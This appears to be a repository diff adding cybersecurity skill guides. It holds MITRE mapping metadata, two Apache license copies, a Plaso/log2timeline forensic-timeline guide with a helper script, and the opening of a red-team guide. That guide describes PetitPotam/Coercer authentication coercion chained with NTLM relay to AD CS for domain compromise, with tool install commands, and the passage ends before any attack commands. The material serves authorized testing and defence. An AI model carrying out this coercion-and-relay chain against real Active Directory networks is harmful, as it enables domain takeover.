- T1204.001
- T1534
mitre_f3:
version: '1.1'
tactics:
- reconnaissance
- resource-development
- initial-access
- stealth
techniques:
- id: T1598
name: Phishing for Information
tactic: reconnaissance
source: attack
- id: T1660
name: Phishing
tactic: initial-access
source: attack
- id: T1672
name: Email Spoofing
tactic: stealth
source: attack
- id: F1020.002
name: 'Create Fake Materials: Fake Website'
tactic: resource-development
source: f3
version: '1.0'
author: mahipal
license: Apache-2.0
@@ -30,6 +30,28 @@ mitre_attack:
- T1489
- T1078
- T1021.002
mitre_f3:
version: '1.1'
tactics:
- initial-access
- monetization
techniques:
- id: T1660
name: Phishing
tactic: initial-access
source: attack
- id: T1110
name: Brute Force
tactic: initial-access
source: attack
- id: F1018
name: Convert to Cryptocurrency
tactic: monetization
source: f3
- id: F1047
name: Transfer of funds
tactic: monetization
source: f3
---
# Building Ransomware Playbook with CISA Framework
@@ -23,6 +23,28 @@ mitre_attack:
- T1489
- T1566
- T1059.001
mitre_f3:
version: '1.1'
tactics:
- initial-access
- monetization
techniques:
- id: T1660
name: Phishing
tactic: initial-access
source: attack
- id: T1110
name: Brute Force
tactic: initial-access
source: attack
- id: F1018
name: Convert to Cryptocurrency
tactic: monetization
source: f3
- id: F1047
name: Transfer of funds
tactic: monetization
source: f3
version: '1.0'
author: mahipal
license: Apache-2.0
@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
@@ -0,0 +1,165 @@
---
name: building-super-timelines-with-plaso
description: Generate log2timeline and Plaso super-timelines and triage them in Timesketch.
domain: cybersecurity
subdomain: digital-forensics
tags:
- digital-forensics
- plaso
- log2timeline
- super-timeline
- timesketch
- dfir
- timeline-analysis
- incident-response
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- RS.AN-03
mitre_attack:
- T1070
---
# Building Super Timelines with Plaso
> **Authorized Use Only:** Build timelines only from evidence you are authorized to analyze. Work from forensic images/copies and preserve chain of custody.
## Overview
Plaso (Plaso Langar Að Safna Öllu) is the open-source engine behind **log2timeline**, the standard for building forensic *super timelines* — a single chronological, normalized view fusing hundreds of artifact types (file-system MACB times, registry, EVTX, browser history, prefetch, LNK, $UsnJrnl, syslog, and more) into one timeline. Plaso has three core CLI tools:
- **log2timeline.py** — extracts events from a source (disk image, mount point, directory, or device) into a `.plaso` storage file using its large parser/plugin set.
- **pinfo.py** — reports on the contents and processing metadata of a `.plaso` file.
- **psort.py** — post-processes, filters, deduplicates, time-zones, and exports the storage file to an output format (CSV, JSON-line, Elasticsearch, Timesketch, etc.).
- **psteal.py** — convenience wrapper that runs extraction + export in one step.
The resulting timeline is enormous, so analysts triage it in **Timesketch** — a collaborative, web-based timeline analysis platform that ingests `.plaso` files (or CSV/JSONL) and supports filtering, tagging, starring, saved searches, and automated analyzers.
## When to Use
- Reconstructing the full sequence of events on a compromised host during incident response.
- Correlating activity across many artifact sources on a single normalized timeline.
- Investigating anti-forensic behavior such as timestomping or log clearing (which stands out against MACB and journal evidence).
- Feeding a curated timeline into Timesketch for team triage.
## Prerequisites
- Install Plaso (Docker is the supported, reproducible method):
```bash
docker pull log2timeline/plaso
# Run a tool, mounting your evidence/output directory
docker run -v /cases:/data log2timeline/plaso log2timeline.py --version
```
Alternatively on Ubuntu via the GIFT PPA:
```bash
sudo add-apt-repository ppa:gift/stable
sudo apt-get update && sudo apt-get install -y plaso-tools
```
- A Timesketch instance (docker-compose deployment from https://github.com/google/timesketch) for triage.
- A forensic image (E01/raw) or mounted file system.
## Objectives
- Extract events from an image into a `.plaso` storage file.
- Inspect the storage file with pinfo.
- Filter and export a focused super timeline with psort.
- Import the timeline into Timesketch and triage it.
## MITRE ATT&CK Mapping
| ID | Official Technique Name | Relevance to this skill |
|----|------------------------|--------------------------|
| T1070 | Indicator Removal | Super timelines reveal indicator-removal behavior (log clearing, file deletion, timestomping) by exposing inconsistencies between MACB timestamps, the USN journal, and event logs. |
Plaso is a defensive forensics engine; the mapping reflects the anti-forensic adversary behavior super timelines are well suited to detect.
## Workflow
### 1. Extract events into a storage file
`log2timeline.py` writes a `.plaso` file from a source. `--storage-file` names the output; the source can be an `.E01`, raw image, mount point, or directory.
```bash
log2timeline.py --storage-file timeline.plaso /cases/greendale/image.E01
```
Scope parsers for speed/relevance with `--parsers` (presets like `win7`, `webhist`, or explicit parser names):
```bash
log2timeline.py --parsers "win7,!filestat" --storage-file timeline.plaso /cases/image.E01
```
### 2. Inspect the storage file
`pinfo.py` reports source, parsers used, event counts, and any warnings.
```bash
pinfo.py timeline.plaso
```
### 3. Export a filtered super timeline (CSV)
`psort.py` selects an output module with `-o`, writes with `-w`, normalizes the timezone with `--output-time-zone`, and accepts an event filter expression to scope a date range.
```bash
psort.py --output-time-zone 'UTC' \
-o l2tcsv \
-w supertimeline.csv \
timeline.plaso \
"date > datetime('2026-01-01T00:00:00') AND date < datetime('2026-01-27T00:00:00')"
```
For Timesketch-friendly JSON lines, use the `json_line` output module:
```bash
psort.py --output-time-zone 'UTC' -o json_line -w supertimeline.jsonl timeline.plaso
```
### 4. One-step extraction + export with psteal
`psteal.py` runs extraction and CSV export together for quick triage.
```bash
psteal.py --source /cases/greendale/image.E01 -o l2tcsv -w supertimeline.csv
```
### 5. Import into Timesketch
Use the official `timesketch_importer` CLI to upload the `.plaso` (or CSV/JSONL) into a sketch. Timesketch chunks/reassembles and indexes the file.
```bash
timesketch_importer \
--host http://127.0.0.1:5000 \
--username admin \
--timeline_name "greendale-host01" \
--sketch_id 1 \
timeline.plaso
```
### 6. Triage in Timesketch
In the sketch UI:
- Filter to a suspicious window or `data_type` (e.g. `windows:evtx:record`, `fs:stat`).
- Star/tag events of interest and add comments for collaboration.
- Save searches and run analyzers (e.g. browser timeframe, similarity, sigma) over the timeline.
- Build a narrative from corroborating events across artifact sources.
### 7. Hunt for anti-forensics
Look for MACB timestamps that disagree with $UsnJrnl entries (timestomping), gaps or `EventLog cleared` (1102) records, and deleted-then-recreated files — all visible on the unified timeline.
## Tools and Resources
| Resource | Purpose | Link |
|----------|---------|------|
| Plaso (log2timeline) | Timeline engine + tools | https://github.com/log2timeline/plaso |
| Plaso documentation | Tool usage and parsers | https://plaso.readthedocs.io/ |
| Timesketch | Timeline analysis platform | https://github.com/google/timesketch |
| Timesketch docs | Deployment, importer, analyzers | https://timesketch.org/ |
| Plaso Docker image | Reproducible runtime | https://hub.docker.com/r/log2timeline/plaso |
## Key Commands
| Command | Purpose |
|---------|---------|
| `log2timeline.py --storage-file out.plaso <source>` | Extract events |
| `log2timeline.py --parsers <preset> ...` | Scope parsers |
| `pinfo.py out.plaso` | Inspect storage file |
| `psort.py -o l2tcsv -w out.csv out.plaso "<filter>"` | Filter + export CSV |
| `psort.py -o json_line -w out.jsonl out.plaso` | Export JSONL |
| `psteal.py --source <img> -o l2tcsv -w out.csv` | Extract + export in one step |
| `timesketch_importer --host ... <file>` | Import into Timesketch |
## Validation Criteria
- [ ] `.plaso` storage file produced from the source image
- [ ] pinfo confirms expected parsers ran and event counts are non-zero
- [ ] Super timeline exported with UTC normalization and a scoped filter
- [ ] Timeline imported into a Timesketch sketch and indexed
- [ ] Suspicious window triaged with tags/stars/saved searches
- [ ] Anti-forensic indicators (timestomping, log clearing) checked
- [ ] Findings documented with corroborating cross-source events
@@ -0,0 +1,73 @@
# Plaso / log2timeline Command Reference
Plaso ships four CLI tools. Run them directly or via the Docker image
(`log2timeline/plaso`).
## log2timeline.py (extraction)
| Flag | Purpose |
|------|---------|
| `--storage-file <file>` | Output `.plaso` storage file |
| `<source>` | Source: `.E01`, raw image, mount point, directory, device |
| `--parsers <list>` | Restrict parsers (presets `win7`, `webhist`, etc.; `!name` excludes) |
| `--partitions <spec>` | Select partitions (e.g. `all`) |
| `--vss-stores <spec>` | Process Volume Shadow Copies |
| `--hashers <list>` | Compute file hashes (e.g. `sha256`) |
| `-z <tz>` | Source timezone |
| `--workers <n>` | Number of extraction workers |
```bash
log2timeline.py --storage-file timeline.plaso /cases/image.E01
log2timeline.py --parsers "win7,!filestat" --storage-file timeline.plaso /cases/image.E01
```
## pinfo.py (inspect)
```bash
pinfo.py timeline.plaso # summary
pinfo.py -v timeline.plaso # verbose
```
## psort.py (post-process / export)
| Flag | Purpose |
|------|---------|
| `-o <module>` | Output module: `l2tcsv`, `json_line`, `dynamic`, `elastic`, `timesketch` |
| `-w <file>` | Write output to file |
| `--output-time-zone <tz>` | Normalize output timezone (e.g. `UTC`) |
| `<storage>` | The `.plaso` file |
| `"<filter>"` | Event filter expression (trailing argument) |
```bash
psort.py --output-time-zone 'UTC' -o l2tcsv -w supertimeline.csv timeline.plaso \
"date > datetime('2026-01-01T00:00:00') AND date < datetime('2026-01-27T00:00:00')"
psort.py --output-time-zone 'UTC' -o json_line -w supertimeline.jsonl timeline.plaso
```
## psteal.py (extract + export wrapper)
```bash
psteal.py --source /cases/image.E01 -o l2tcsv -w supertimeline.csv
```
## Common event filter fields
| Field | Example |
|-------|---------|
| `date` | `date > datetime('2026-01-01T00:00:00')` |
| `data_type` | `data_type == 'windows:evtx:record'` |
| `parser` | `parser contains 'winreg'` |
| `timestamp_desc` | `timestamp_desc contains 'Creation'` |
## Timesketch import
```bash
timesketch_importer \
--host http://127.0.0.1:5000 \
--username admin \
--timeline_name "host01" \
--sketch_id 1 \
timeline.plaso
```
`timesketch_importer` accepts `.plaso`, `.csv`, and `.jsonl` inputs.
@@ -0,0 +1,21 @@
# Standards and Framework Mapping — Building Super Timelines with Plaso
## NIST Cybersecurity Framework 2.0
| ID | Name | Rationale |
|----|------|-----------|
| RS.AN-03 | Analysis is performed to establish what has taken place during an incident and the root cause of the incident | Plaso super timelines fuse all host artifacts into one chronological view, the primary method for reconstructing the sequence and root cause of an incident. |
## MITRE ATT&CK
| ID | Name | Rationale |
|----|------|-----------|
| T1070 | Indicator Removal | Unified timelines expose anti-forensic actions (log clearing, file deletion, timestomping) via contradictions between MACB times, the USN journal, and event logs. |
## Supporting References
- Plaso documentation: https://plaso.readthedocs.io/
- Plaso GitHub: https://github.com/log2timeline/plaso
- Timesketch: https://timesketch.org/
- NIST SP 800-86 Guide to Integrating Forensic Techniques into Incident Response
- NIST SP 800-61r2 Computer Security Incident Handling Guide
@@ -0,0 +1,137 @@
#!/usr/bin/env python3
"""
Plaso super-timeline helper.
Builds and runs validated log2timeline.py / psort.py / psteal.py commands and
optionally imports the result into Timesketch with timesketch_importer. Supports
running the tools natively or through the official Docker image.
Reference: https://plaso.readthedocs.io/
"""
import argparse
import shutil
import subprocess
import sys
from pathlib import Path
def base_cmd(tool, use_docker, data_dir):
"""Return the argv prefix to invoke a plaso tool, native or via Docker."""
if use_docker:
# Mount data_dir at /data inside the container
return ["docker", "run", "--rm", "-v", f"{data_dir}:/data",
"log2timeline/plaso", tool]
found = shutil.which(tool)
if not found:
print(f"[!] {tool} not on PATH; consider --docker", file=sys.stderr)
return [tool]
def map_path(p, use_docker):
"""When using Docker, rewrite host paths under data_dir to /data/..."""
# The caller is expected to pass paths relative to data_dir for Docker.
return p
def extract(args):
cmd = base_cmd("log2timeline.py", args.docker, args.data_dir)
cmd += ["--storage-file", args.storage]
if args.parsers:
cmd += ["--parsers", args.parsers]
if args.vss:
cmd += ["--vss-stores", "all"]
if args.hashers:
cmd += ["--hashers", args.hashers]
cmd.append(args.source)
return run(cmd, args.dry_run)
def info(args):
cmd = base_cmd("pinfo.py", args.docker, args.data_dir)
cmd.append(args.storage)
return run(cmd, args.dry_run)
def export(args):
cmd = base_cmd("psort.py", args.docker, args.data_dir)
cmd += ["--output-time-zone", args.tz, "-o", args.output_module,
"-w", args.output, args.storage]
if args.filter:
cmd.append(args.filter)
return run(cmd, args.dry_run)
def psteal(args):
cmd = base_cmd("psteal.py", args.docker, args.data_dir)
cmd += ["--source", args.source, "-o", args.output_module, "-w", args.output]
return run(cmd, args.dry_run)
def tsimport(args):
tool = shutil.which("timesketch_importer") or "timesketch_importer"
cmd = [tool, "--host", args.host, "--username", args.username,
"--timeline_name", args.timeline_name,
"--sketch_id", str(args.sketch_id), args.file]
return run(cmd, args.dry_run)
def run(cmd, dry_run):
print("[*] " + " ".join(f'"{c}"' if " " in c else c for c in cmd))
if dry_run:
return 0
try:
return subprocess.run(cmd, check=False).returncode
except FileNotFoundError:
print(f"[!] command not found: {cmd[0]}", file=sys.stderr)
return 127
def main():
p = argparse.ArgumentParser(description="Plaso super-timeline helper")
p.add_argument("--docker", action="store_true",
help="Run plaso tools via the log2timeline/plaso image")
p.add_argument("--data-dir", default="/cases",
help="Host dir mounted at /data when using --docker")
p.add_argument("--dry-run", action="store_true")
sub = p.add_subparsers(dest="cmd", required=True)
e = sub.add_parser("extract", help="log2timeline.py")
e.add_argument("--source", required=True)
e.add_argument("--storage", required=True)
e.add_argument("--parsers")
e.add_argument("--vss", action="store_true")
e.add_argument("--hashers")
e.set_defaults(func=extract)
i = sub.add_parser("info", help="pinfo.py")
i.add_argument("--storage", required=True)
i.set_defaults(func=info)
x = sub.add_parser("export", help="psort.py")
x.add_argument("--storage", required=True)
x.add_argument("--output", required=True)
x.add_argument("--output-module", default="l2tcsv")
x.add_argument("--tz", default="UTC")
x.add_argument("--filter")
x.set_defaults(func=export)
s = sub.add_parser("psteal", help="psteal.py (extract+export)")
s.add_argument("--source", required=True)
s.add_argument("--output", required=True)
s.add_argument("--output-module", default="l2tcsv")
s.set_defaults(func=psteal)
t = sub.add_parser("import", help="timesketch_importer")
t.add_argument("--host", required=True)
t.add_argument("--username", default="admin")
t.add_argument("--timeline-name", dest="timeline_name", required=True)
t.add_argument("--sketch-id", dest="sketch_id", type=int, required=True)
t.add_argument("--file", required=True)
t.set_defaults(func=tsimport)
args = p.parse_args()
return args.func(args)
if __name__ == "__main__":
sys.exit(main())
@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
@@ -0,0 +1,175 @@
---
name: coercing-authentication-with-coercer-petitpotam
description: Trigger machine account authentication with PetitPotam (MS-EFSR) and Coercer across MS-RPRN, MS-DFSNM, and MS-FSRVP to feed NTLM relay into AD CS Web Enrollment (ESC8) and other relay targets.
domain: cybersecurity
subdomain: red-teaming
tags:
- red-team
- active-directory
- coercion
- petitpotam
- coercer
- ntlm-relay
- esc8
- forced-authentication
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- DE.CM-01
mitre_attack:
- T1187
---
# Coercing Authentication with Coercer and PetitPotam
> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Authentication coercion combined with NTLM relay can yield domain compromise. Use only against systems you own or have explicit written authorization to test. Unauthorized use is illegal.
## Overview
Many Windows RPC interfaces expose methods that take a UNC path and cause the receiving server to authenticate to that path using its **machine account**. An attacker who can reach these interfaces can force a target (commonly a Domain Controller) to authenticate to an attacker-controlled host. On its own this is "Forced Authentication"; combined with an **NTLM relay**, the coerced machine credential is relayed to a service that does not enforce signing/EPA, most famously AD CS Web Enrollment (**ESC8**), yielding a certificate for the Domain Controller and ultimately domain compromise.
**PetitPotam** (Gilles Lionel / topotam) abuses the MS-EFSR (Encrypting File System Remote Protocol) `EfsRpcOpenFileRaw` / `EfsRpcEncryptFileSrv` methods. **Coercer** (p0dalirius) generalizes the technique: it is a Python tool that automatically coerces a Windows server to authenticate to an arbitrary machine through 12 methods spanning multiple protocols — MS-EFSR (PetitPotam), MS-RPRN (PrinterBug/SpoolSample), MS-DFSNM (DFSCoerce), MS-FSRVP (ShadowCoerce), MS-EVEN, and more. Coercer operates in three modes: **scan** (probe which RPC methods are reachable/coercible), **coerce** (trigger authentication), and **fuzz** (research path variations). Sources: [p0dalirius/Coercer](https://github.com/p0dalirius/Coercer), [topotam/PetitPotam](https://github.com/topotam/PetitPotam), [The Hacker Recipes — Forced Authentications](https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications).
## When to Use
- To complete an ESC8/ESC11 chain by forcing a DC to authenticate to a relay
- To trigger machine authentication for NTLM relay to LDAP (RBCD) or SMB
- When a relay target is identified but no inbound authentication is occurring naturally
- During detection engineering to generate coercion telemetry for blue-team tuning
- To validate that DCs/servers are patched and that relay mitigations (signing/EPA) hold
## Prerequisites
- Authorized scope including coercion and NTLM relay techniques
- Valid (often low-privileged) domain credentials; some methods work unauthenticated against unpatched hosts
- A relay listener (Certipy `relay` or Impacket `ntlmrelayx`) on a reachable host
- Network reachability to the target's RPC endpoints (135 + dynamic, 445)
- Linux attack host with Python 3.8+; install the tools:
```bash
# Coercer
pipx install coercer # or: sudo python3 -m pip install coercer
coercer --help
# PetitPotam (source)
git clone https://github.com/topotam/PetitPotam
# Impacket (provides ntlmrelayx, dFSCoerce etc.)
pipx install impacket
```
## Objectives
